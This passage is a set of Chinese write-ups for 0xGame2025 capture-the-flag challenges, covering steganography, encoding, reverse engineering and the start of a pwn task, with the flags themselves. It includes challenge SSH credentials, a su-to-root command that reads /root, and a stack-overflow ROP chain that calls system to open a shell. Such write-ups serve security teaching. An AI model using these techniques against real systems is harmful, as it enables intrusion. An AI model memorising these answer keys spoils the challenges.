&lt;h4 id=&quot;zui-zhong-da-an-2&quot;&gt;最终答案&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;Flag：&lt;code&gt;0xGame{WoW_y0u_fouNd_1t?_114514}&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;依据：仅在禁区分区 &lt;code&gt;Do_not_enter&lt;&#x2F;code&gt;（Last Mounted: &lt;code&gt;&#x2F;mnt&#x2F;real_target&lt;&#x2F;code&gt;）中出现一次，满足“唯一正确”的题意约束。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;zootopia-jie-ti-bao-gao&quot;&gt;Zootopia 解题报告&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;ti-mu-xin-xi-zhai-lu&quot;&gt;题目信息摘录&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;题目：Zootopia（Misc &#x2F; Week1 &#x2F; 简单）&lt;&#x2F;li&gt;
&lt;li&gt;附件：&lt;code&gt;Zootopia.zip&lt;&#x2F;code&gt; → &lt;code&gt;Zootopia.png&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;线索：疯狂动物城图片中藏有一段加密信息。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;chang-shi-guo-cheng&quot;&gt;尝试过程&lt;&#x2F;h4&gt;
&lt;ol&gt;
&lt;li&gt;将附件解压至 &lt;code&gt;task&lt;&#x2F;code&gt; 目录，确认只有一张 PNG 图片。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;binwalk&lt;&#x2F;code&gt;、&lt;code&gt;exiftool&lt;&#x2F;code&gt; 等常规检测未发现额外文件或文本 chunk，考虑 LSB 隐写。&lt;&#x2F;li&gt;
&lt;li&gt;使用 &lt;code&gt;zsteg&lt;&#x2F;code&gt; 验证，&lt;code&gt;b1,rgb,lsb,xy&lt;&#x2F;code&gt; 渠道出现可读文本 &lt;code&gt;0xGame{...}&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;为复现过程，编写脚本逐像素提取 RGB 各通道最低位，按 8 位组装字符，遇到 &lt;code&gt;\0&lt;&#x2F;code&gt; 结束。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h4 id=&quot;tui-dao-xi-jie&quot;&gt;推导细节&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;RGB 每个通道提供 1 bit 信息，按顺序拼接后可重构原始字节流。&lt;&#x2F;li&gt;
&lt;li&gt;图像尺寸较大，足以隐藏多行文本；实际隐藏串以 ASCII 编码结束于零字节。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;zi-dong-hua-jiao-ben-7&quot;&gt;自动化脚本&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;位置：&lt;code&gt;solution&#x2F;solution.py&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;依赖：&lt;code&gt;pillow&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;用法：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin&quot;&gt;cd&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; solution&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;uv&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; run python solution.py&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;输出：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0xGame{W1_Need_t0_t@k3_a_break}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;jie-guo-1&quot;&gt;结果&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;最终 flag：&lt;code&gt;0xGame{W1_Need_t0_t@k3_a_break}&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;gong-zhong-hao-yuan-gao-jie-ti-bao-gao&quot;&gt;公众号原稿 解题报告&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;ti-mu-xin-xi-zhai-lu-1&quot;&gt;题目信息摘录&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;题目：公众号原稿（Misc &#x2F; Week1 &#x2F; 简单）&lt;&#x2F;li&gt;
&lt;li&gt;附件：&lt;code&gt;公众号.docx&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;目标：找到 Yolo 隐藏在原稿中的 gift flag。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;chang-shi-guo-cheng-1&quot;&gt;尝试过程&lt;&#x2F;h4&gt;
&lt;ol&gt;
&lt;li&gt;将附件放入 &lt;code&gt;task&lt;&#x2F;code&gt; 目录，使用 &lt;code&gt;uv init&lt;&#x2F;code&gt; 创建独立 Python 环境。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;unzip -l&lt;&#x2F;code&gt; 查看 docx 内部结构，发现非常规条目 &lt;code&gt;docProps&#x2F;gift.xml&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;直接 &lt;code&gt;unzip -p 公众号.docx docProps&#x2F;gift.xml&lt;&#x2F;code&gt; 得到完整 flag。&lt;&#x2F;li&gt;
&lt;li&gt;为便于复现，编写 &lt;code&gt;solution&#x2F;solution.py&lt;&#x2F;code&gt; 使用 &lt;code&gt;zipfile&lt;&#x2F;code&gt; 模块解压目标文件并输出内容。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h4 id=&quot;tui-dao-yu-yan-zheng&quot;&gt;推导与验证&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Office OpenXML 文件本质是 zip 压缩包，只要定位到隐藏的 &lt;code&gt;gift.xml&lt;&#x2F;code&gt; 即可。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;运行脚本：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin&quot;&gt;cd&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; solution&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;uv&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; run python solution.py&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;输出：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0xGame{omg!Y0u_f0und_m3!_C0ngr4tul4t10ns!}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;jie-guo-2&quot;&gt;结果&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;最终 flag：&lt;code&gt;0xGame{omg!Y0u_f0und_m3!_C0ngr4tul4t10ns!}&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;ez-shell-jie-ti-bao-gao&quot;&gt;ez_Shell 解题报告&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;ti-mu-xin-xi-zhai-lu-2&quot;&gt;题目信息摘录&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;比赛：0xGame2025&lt;&#x2F;li&gt;
&lt;li&gt;题目：ez_Shell（Misc &#x2F; Week1 &#x2F; 简单）&lt;&#x2F;li&gt;
&lt;li&gt;提示：通过 SSH 进入题目容器，依次提取 &lt;code&gt;whoami&lt;&#x2F;code&gt;、&lt;code&gt;pwd&lt;&#x2F;code&gt;、当前路径下的文件夹名以及两个 flag 文件内容，再按题面格式拼装。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;chang-shi-ji-lu-1&quot;&gt;尝试记录&lt;&#x2F;h4&gt;
&lt;ol&gt;
&lt;li&gt;建立标准目录结构，在 &lt;code&gt;task&#x2F;attachment.txt&lt;&#x2F;code&gt; 保存题面，并用 &lt;code&gt;uv init&lt;&#x2F;code&gt; 初始化脚本环境。&lt;&#x2F;li&gt;
&lt;li&gt;根据赛方公布的服务端 &lt;code&gt;nc1.ctfplus.cn:47957&lt;&#x2F;code&gt;，编写简短 &lt;code&gt;paramiko&lt;&#x2F;code&gt; 脚本验证连接，确认初始工作目录 &lt;code&gt;&#x2F;home&#x2F;hacker&lt;&#x2F;code&gt; 下只有隐藏目录 &lt;code&gt;.mysecret&lt;&#x2F;code&gt;，其中包含 &lt;code&gt;flag1.txt&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;自动化脚本初版直接 &lt;code&gt;cat flag1.txt&lt;&#x2F;code&gt; 导致报错，改用 &lt;code&gt;find&lt;&#x2F;code&gt; 自动定位 &lt;code&gt;.mysecret&#x2F;flag1.txt&lt;&#x2F;code&gt; 后成功读取第一段。&lt;&#x2F;li&gt;
&lt;li&gt;尝试以 &lt;code&gt;root&#x2F;Y0u_@re_root&lt;&#x2F;code&gt; 直接 SSH 登录失败，推测禁用了 root 远程登录。改为在 &lt;code&gt;hacker&lt;&#x2F;code&gt; 会话内执行 &lt;code&gt;su - root -c &#x27;cat &#x2F;root&#x2F;flag2.txt&#x27;&lt;&#x2F;code&gt;，并通过 &lt;code&gt;stdin&lt;&#x2F;code&gt; 传入密码获取第二段。&lt;&#x2F;li&gt;
&lt;li&gt;对 &lt;code&gt;su&lt;&#x2F;code&gt; 输出进行清洗，去除 &lt;code&gt;Password:&lt;&#x2F;code&gt; 提示后，脚本能够一次性生成完整 flag。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h4 id=&quot;jie-ti-si-lu-gai-shu&quot;&gt;解题思路概述&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;第一步：以普通用户 &lt;code&gt;hacker&#x2F;h@cker_it&lt;&#x2F;code&gt; 登录，采集下列信息：
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;whoami&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;pwd&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;当前路径下的子目录名（排除 &lt;code&gt;.&lt;&#x2F;code&gt; 与 &lt;code&gt;..&lt;&#x2F;code&gt;，实际为 &lt;code&gt;.mysecret&lt;&#x2F;code&gt;）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;.mysecret&#x2F;flag1.txt&lt;&#x2F;code&gt; 的内容&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;第二步：在同一会话中使用 &lt;code&gt;su&lt;&#x2F;code&gt; 切换 root，读取 &lt;code&gt;&#x2F;root&#x2F;flag2.txt&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;第三步：将五项结果用 &lt;code&gt;&#x27;_&#x27;&lt;&#x2F;code&gt; 连接并包裹进 &lt;code&gt;0xGame{...}&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;zi-dong-hua-jiao-ben-8&quot;&gt;自动化脚本&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;位置：&lt;code&gt;solution&#x2F;solution.py&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;依赖：&lt;code&gt;paramiko&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;用法：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin&quot;&gt;cd&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; solution&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;uv&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; run python solution.py nc1.ctfplus.cn --port&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric&quot;&gt; 47957&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;输出示例：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0xGame{hacker_&#x2F;home&#x2F;hacker_.mysecret_It_is_funny_right?_You_hacked_me!!!}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;jie-guo-3&quot;&gt;结果&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;最终提交 flag：&lt;code&gt;0xGame{hacker_&#x2F;home&#x2F;hacker_.mysecret_It_is_funny_right?_You_hacked_me!!!}&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;关键命令及路径均已在脚本中自动化处理，后续只需替换目标主机即可复用。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;sign-in-jie-ti-bao-gao&quot;&gt;Sign_in 解题报告&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;ti-mu-xin-xi-zhai-lu-3&quot;&gt;题目信息摘录&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;比赛：0xGame2025&lt;&#x2F;li&gt;
&lt;li&gt;题目：Sign_in（Misc &#x2F; Week1 &#x2F; 简单）&lt;&#x2F;li&gt;
&lt;li&gt;附件内容：一段 Base64 编码的字符串&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;MGhRa3dve0dvdm0wd29fZDBfMGhRNHczXzJ5MjVfQHhuX3JAbXVfUHliX3BlWH0=&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h4 id=&quot;chang-shi-guo-cheng-2&quot;&gt;尝试过程&lt;&#x2F;h4&gt;
&lt;ol&gt;
&lt;li&gt;在 &lt;code&gt;task&#x2F;attachment.txt&lt;&#x2F;code&gt; 记录原始字符串后，使用 &lt;code&gt;uv init&lt;&#x2F;code&gt; 初始化题目标准的 Python 环境，避免直接调用系统 Python。&lt;&#x2F;li&gt;
&lt;li&gt;先猜测这是基础的 Base64 编码。通过 &lt;code&gt;uv run python&lt;&#x2F;code&gt; 解码得到中间结果：&lt;code&gt;0hQkwo{Govm0wo_d0_0hQ4w3_2y25_@xn_r@mu_Pyb_peX}&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;观察中间结果，括号形式符合 flag 结构，但字母整体被系统性平移。例如 &lt;code&gt;0hQkwo&lt;&#x2F;code&gt; 形似 &lt;code&gt;0xGame&lt;&#x2F;code&gt;。对照 ASCII 发现大小写字母均被循环右移了 $10$ 位。&lt;&#x2F;li&gt;
&lt;li&gt;进一步检查数字，同样遵循 $c_i = (p_i + 10) \bmod 10$ 的模式。符号字符未变。&lt;&#x2F;li&gt;
&lt;li&gt;编写脚本对所有字母、数字执行逆向 Caesar 位移（左移 $10$），得到最终 flag。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h4 id=&quot;tui-dao-xi-jie-1&quot;&gt;推导细节&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;Base64 还原得到的明文可视为经过 Caesar 变换的密文 $C$。&lt;&#x2F;li&gt;
&lt;li&gt;对字母部分，存在关系：
$$C = (P + k) \bmod 26,\quad k = 10$$
因此恢复原文需要计算：
$$P = (C - k) \bmod 26$$&lt;&#x2F;li&gt;
&lt;li&gt;对数字同理，只是模数改为 $10$：
$$C = (P + k) \bmod 10 \implies P = (C - k) \bmod 10$$&lt;&#x2F;li&gt;
&lt;li&gt;其他符号保持不变。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;guan-jian-jiao-ben&quot;&gt;关键脚本&lt;&#x2F;h4&gt;
&lt;p&gt;核心逻辑位于 &lt;code&gt;solution&#x2F;solution.py&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;先 Base64 解码。&lt;&#x2F;li&gt;
&lt;li&gt;之后调用 &lt;code&gt;caesar_shift&lt;&#x2F;code&gt;，对字母和数字执行模运算逆变换。&lt;&#x2F;li&gt;
&lt;li&gt;输出最终 flag。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;运行：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin&quot;&gt;cd&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; solution&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;uv&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; run python solution.py&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;得到终极答案：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0xGame{Welc0me_t0_0xG4m3_2o25_@nd_h@ck_For_fuN}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h4 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h4&gt;
&lt;p&gt;题目考察了对基础编码与经典移位密码的识别。一步步拆解编码层次、验证偏移量即可快速复原 flag。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;re&quot;&gt;RE&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;baseupx&quot;&gt;BaseUpx&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;脱壳 &lt;code&gt;UPX&lt;&#x2F;code&gt; 后，主函数读取输入并执行 &lt;code&gt;base64_encode&lt;&#x2F;code&gt;，与常量 &lt;code&gt;MHhHYW1le1cwd191XzRyM183aDNfRzBkXzBmX3VweCZiNHMzNjRfRDNzMWdufQ&lt;&#x2F;code&gt; 比较。&lt;&#x2F;li&gt;
&lt;li&gt;只需补齐 &lt;code&gt;==&lt;&#x2F;code&gt; 还原 base64，即得 &lt;code&gt;0xGame{W0w_u_4r3_7h3_G0d_0f_upx&amp;amp;b4s364_D3s1gn}&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;详细推导与脚本见 &lt;code&gt;BaseUpx&#x2F;&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;dydebug&quot;&gt;DyDebug&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;题目实现自定义 16 轮 Feistel：F 函数为 &lt;code&gt;F(R,K)=(R*K)⊕ROL(R,17)&lt;&#x2F;code&gt;；轮密钥通过线性同余生成。&lt;&#x2F;li&gt;
&lt;li&gt;将 &lt;code&gt;.rdata&lt;&#x2F;code&gt; 中的密文分块解密，得到 &lt;code&gt;0xGame{91f2c64e-057d-4191-8868-9a8c0847b2c0}&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;easyxor&quot;&gt;EasyXor&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;循环: &lt;code&gt;((flag[i] ^ key[i mod 16]) + i) == table[i]&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;重排公式恢复 flag &lt;code&gt;0xGame{6c74d39f-723f-42e7-9d7a-18e9508a655b}&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;signin&quot;&gt;SignIn&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;程序无校验，flag 硬编码在 &lt;code&gt;.rdata&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;strings&lt;&#x2F;code&gt; 直接读取到 &lt;code&gt;0xGame{G00d$!gn1n_&amp;amp;_N0w_5t4rt_y0ur_R3V3R5E}&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;signin2&quot;&gt;SignIn2&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;decrypt&lt;&#x2F;code&gt; 实际上是 ROT94&#x2F;47 风格的表循环减法，枚举 key 即可。&lt;&#x2F;li&gt;
&lt;li&gt;唯一合法前缀 &lt;code&gt;0xGame&lt;&#x2F;code&gt; 对应 key=16，解出 &lt;code&gt;0xGame{We1c0m3_2_xiaoxinxie_qq_1060449509}&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;zzz&quot;&gt;ZZZ&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;sscanf(&quot;%8x%8x%8x%8x&quot;)&lt;&#x2F;code&gt; 读取四个 32 位数，再验证 4 个模 $2^{32}$ 方程。&lt;&#x2F;li&gt;
&lt;li&gt;借助 &lt;code&gt;z3-solver&lt;&#x2F;code&gt; 搜索满足约束的 4 组解，匹配题面给出的 SHA-256 仅有一组：
&lt;ul&gt;
&lt;li&gt;$A=0x99482FD0,\ B=0xB9544087,\ C=0x0E990F7A,\ D=0xA0514982$。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;最终 flag &lt;code&gt;0xGame{99482fd0b95440870e990f7aa0514982}&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;jiao-ben-shi-yong&quot;&gt;脚本使用&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;若需直接输出 flag：运行对应题目目录下的 &lt;code&gt;solution&#x2F;solution.py&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;ZZZ&lt;&#x2F;code&gt; 题依赖 &lt;code&gt;z3-solver&lt;&#x2F;code&gt;：已通过 &lt;code&gt;uv pip install z3-solver&lt;&#x2F;code&gt; 安装，如在其他环境运行请提前安装。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;pwn&quot;&gt;Pwn&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;0xgame-rop2-write-up&quot;&gt;0xGame ROP2 Write-up&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;mu-biao&quot;&gt;目标&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;在不包含 &lt;code&gt;sh&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;&#x2F;bin&#x2F;sh&lt;&#x2F;code&gt; 字符串的情况下，依旧通过 ROP 调用 &lt;code&gt;system&lt;&#x2F;code&gt; 实现 RCE。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;jing-tai-fen-xi-yao-dian&quot;&gt;静态分析要点&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;No PIE、NX 开、无 Canary。&lt;&#x2F;li&gt;
&lt;li&gt;导入：&lt;code&gt;setbuf&lt;&#x2F;code&gt;、&lt;code&gt;system&lt;&#x2F;code&gt;、&lt;code&gt;printf&lt;&#x2F;code&gt;、&lt;code&gt;read&lt;&#x2F;code&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;main&lt;&#x2F;code&gt;：
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;init&lt;&#x2F;code&gt; 关闭缓冲；&lt;&#x2F;li&gt;
&lt;li&gt;打印一行提示与“luck_number”；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;system(&quot;echo Start your attack&quot;)&lt;&#x2F;code&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;read(0, buf, 0x100)&lt;&#x2F;code&gt; 读入到 &lt;code&gt;buf&lt;&#x2F;code&gt;（大小 &lt;code&gt;0x30&lt;&#x2F;code&gt;），存在溢出。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;可用 gadget：&lt;code&gt;pop rdi ; ret @ 0x40119e&lt;&#x2F;code&gt;，以及 &lt;code&gt;leave ; ret @ 0x40124b&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;关键观察：在 &lt;code&gt;.text&lt;&#x2F;code&gt; 段 &lt;code&gt;0x401200&lt;&#x2F;code&gt; 处有一条 &lt;code&gt;movabs rax, 0x9173003024&lt;&#x2F;code&gt;，其立即数的最低三字节即 &lt;code&gt;0x24 0x30 0x00&lt;&#x2F;code&gt;，也就是 &lt;code&gt;&quot;$0\x00&quot;&lt;&#x2F;code&gt;！因此内存地址 &lt;code&gt;0x401202&lt;&#x2F;code&gt; 起正好是一段以 0 结尾的 &lt;code&gt;&quot;$0&quot;&lt;&#x2F;code&gt; 字符串。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;li-yong-si-lu-shen-qi-can-shu&quot;&gt;利用思路（“神奇参数”）&lt;&#x2F;h4&gt;
&lt;p&gt;&lt;code&gt;system(cmd)&lt;&#x2F;code&gt; 实际会执行 &lt;code&gt;&#x2F;bin&#x2F;sh -c cmd&lt;&#x2F;code&gt;。若令 &lt;code&gt;cmd = &quot;$0&quot;&lt;&#x2F;code&gt;，那么在子 shell 中 &lt;code&gt;$0&lt;&#x2F;code&gt; 的值为 &lt;code&gt;&quot;sh&quot;&lt;&#x2F;code&gt;，因此实际等价执行 &lt;code&gt;sh&lt;&#x2F;code&gt;，从而获得交互 shell。这就是题面所说“除了 sh 之外的神奇参数”。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;rop-lian&quot;&gt;ROP 链&lt;&#x2F;h4&gt;
&lt;p&gt;偏移 $= 0x30 + 8 = 0x38$，构造：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;pop rdi ; ret&lt;&#x2F;code&gt; (0x40119e)&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&quot;$0\x00&quot;&lt;&#x2F;code&gt; 地址 (0x401202)&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;system@plt&lt;&#x2F;code&gt; (0x401080)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;数学化：
$$
\text{ret} \to (\text{pop rdi;ret}) \Rightarrow rdi \leftarrow \text{addr}(“$0”),\ \text{ret} \to system.
$$
得到 shell 后，直接 &lt;code&gt;cat flag&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;jiao-ben&quot;&gt;脚本&lt;&#x2F;h4&gt;
&lt;p&gt;见 &lt;code&gt;solution&#x2F;solution.py&lt;&#x2F;code&gt;，已内置短超时与缓冲读取，默认静默输出 flag，可开启 &lt;code&gt;debug=True&lt;&#x2F;code&gt; 观察交互。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;yun-xing&quot;&gt;运行&lt;&#x2F;h4&gt;
